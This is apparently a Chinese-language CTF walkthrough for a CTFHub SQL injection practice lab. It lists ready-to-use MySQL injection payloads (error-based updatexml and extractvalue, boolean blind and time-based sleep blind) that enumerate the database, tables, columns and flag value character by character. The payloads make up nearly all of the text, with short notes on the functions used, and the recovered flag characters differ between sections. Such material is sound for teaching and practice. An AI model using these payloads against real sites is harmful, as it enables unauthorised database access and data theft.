通过updatexml()函数进行注入
updatexml()则负责修改查询到的内容
UPDATEXML (XML_document, XPath_string, new_value);
其中:1,3占位,为满足updatexml函数格式,concat函数连接后面的参数,0x21为十六进制!,database函数为读取当前表所在的库名。
?id=1 union select updatexml(1,concat(0x21,(select database()),0x21),3)
通过视图取sqli库下的表名
?id=1 union select updatexml(1,concat(0x21,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x21),3)
?id=1 union select updatexml(1,concat(0x21,(select * from sqli.flag),0x21),3)
通过extractvalue函数来进行保存注入
格式:EXTRACTVALUE (XML_document, XPath_string);
然后通过sql视图取sqli库下的表名
?id='1' union select extractvalue(1,concat(0x21,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x21))
最后通过读取到的库名表名,读取值
?id='1' union select extractvalue(1,concat(0x21,(select * from sqli.flag),0x21))
通过length函数读取当前数据库长度
长度 4
?id=1 and (select length(database())=4)
大于ascii 100 为true
?id=1 and ((select ascii(substr(database(),1,1)))>100)
?id=1 and ((select ascii(substr(database(),1,1)))<120)
最后通过尝试,得到115,对应asscii码为s
?id=1 and ((select ascii(substr(database(),1,1)))=115)
?id=1 and ((select ascii(substr(database(),2,1)))=113) #q
?id=1 and ((select ascii(substr(database(),3,1)))=108) #l
?id=1 and ((select ascii(substr(database(),4,1)))=105) #i
数量
猜列表数量 = 2 表示当前库下有两个列表
?id=1 and ((select count(table_name) from information_schema.tables where table_schema=database())=2)
猜当前列名长度,得出4
第二个表,表名的长度也为 4
?id=1 and (select length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4)
?id=1 and (select length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=4) # 第二个表,表名的长度也为 4
猜列表名第一个字符为f
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102)
第二个字符为108 对应 l
第三个字符为97 对应 a
第四个字符为103 对应 g
根据长度4,最后得到表名为 flag
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108) # 对应 l
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97) # 对应 a
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103) # 对应 g
第二个表:
news
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=110) # n
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101) # e
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=119) # w
?id=1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=115) # s
整理信息与逻辑
?id=1 and ((select count(column_name) from information_schema.columns where table_name='flag')=0)
长度
猜解字段长度,4表示flag这个列表中第一个字段的长度为4
?id=1 and (select length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4)
?id=1 and (select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1,1))=102) # f
?id=1 and (select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),2,1))=108) # l
?id=1 and (select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),3,1))=97) # a
?id=1 and (select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),4,1))=103) # g
整理信息与逻辑
第一个字符为 c
?id=1 and (select ascii(substr((select flag from flag limit 0,1),1,1))=99) # c
?id=1 and (select ascii(substr((select flag from flag limit 0,1),2,1))=116) # t
?id=1 and (select ascii(substr((select flag from flag limit 0,1),3,1))=102) # f
?id=1 and (select ascii(substr((select flag from flag limit 0,1),4,1))=104) # h
等等.......
熟悉相关函数
ascii(str):str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
substr(str,start,len):这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
length(str):这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
count([column]):这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
limit m,n:其中m是指记录开始的index,从0开始,表示第一条记录n是指从第m+1条开始,取n条
手工布尔盲注流程
观察浏览器,排除网络原因,如果秒刷新,说么猜对了,如果浏览器一直在加载,说么执行了sleep函数,延时了5秒。
得到当前数据库名的长度为4
?id=1 and if (length(database())=4,1,sleep(5))
猜解得到当前数据库名为sqli
?id=1 and if (ascii(substr(database(),1,1))=115,sleep(3),1) # s
?id=1 and if (ascii(substr(database(),2,1))=113,sleep(3),1) # q
?id=1 and if (ascii(substr(database(),3,1))=108,sleep(3),1) # l
?id=1 and if (ascii(substr(database(),4,1))=105,sleep(3),1) # i
列表数量
猜解得到sqli库下有两个表
?id=1 and if(((select count(table_name) from information_schema.tables where table_schema=database())=2),sleep(4),0);
?id=1 and if((select length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4),sleep(5),0) # 第一个表长度
?id=1 and if((select length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=4),sleep(5),0) # 第二个表长度
列表名
得到列表名 flag
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102),sleep(5),0) # 对应 f
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108),sleep(5),0) # 对应 l
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97),sleep(5),0) # 对应 a
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103),sleep(5),0) # 对应 g
第二个表名 news
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=110),sleep(5),0) # n
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101),sleep(5),0) # e
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=119),sleep(5),0) # w
?id=1 and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=115),sleep(5),0) # s
字段数量
flag列表只有一个字段,而news列表有3个字段
?id=1 and if(((select count(column_name) from information_schema.columns where table_name='flag')=1),sleep(5),0)
?id=1 and if(((select count(column_name) from information_schema.columns where table_name='news')=3),sleep(5),0)
长度为 4
?id=1 and if((select length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4),sleep(5),1)
字段名 flag
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1,1))=102),sleep(5),1) # f
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),2,1))=108),sleep(5),1) # l
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),3,1))=97),sleep(5),1) # a
?id=1 and if((select ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),4,1))=103),sleep(5),1) # g
?id=1 and if((select ascii(substr((select flag from flag limit 0,1),1,1))=116),sleep(5),1) # t
?id=1 and if((select ascii(substr((select flag from flag limit 0,1),2,1))=101),sleep(5),1) # e
?id=1 and if((select ascii(substr((select flag from flag limit 0,1),3,1))=115),sleep(5),1) # s
......
ctfhub-sql注入源码
https://github.com/wpsec/sql-injection-practice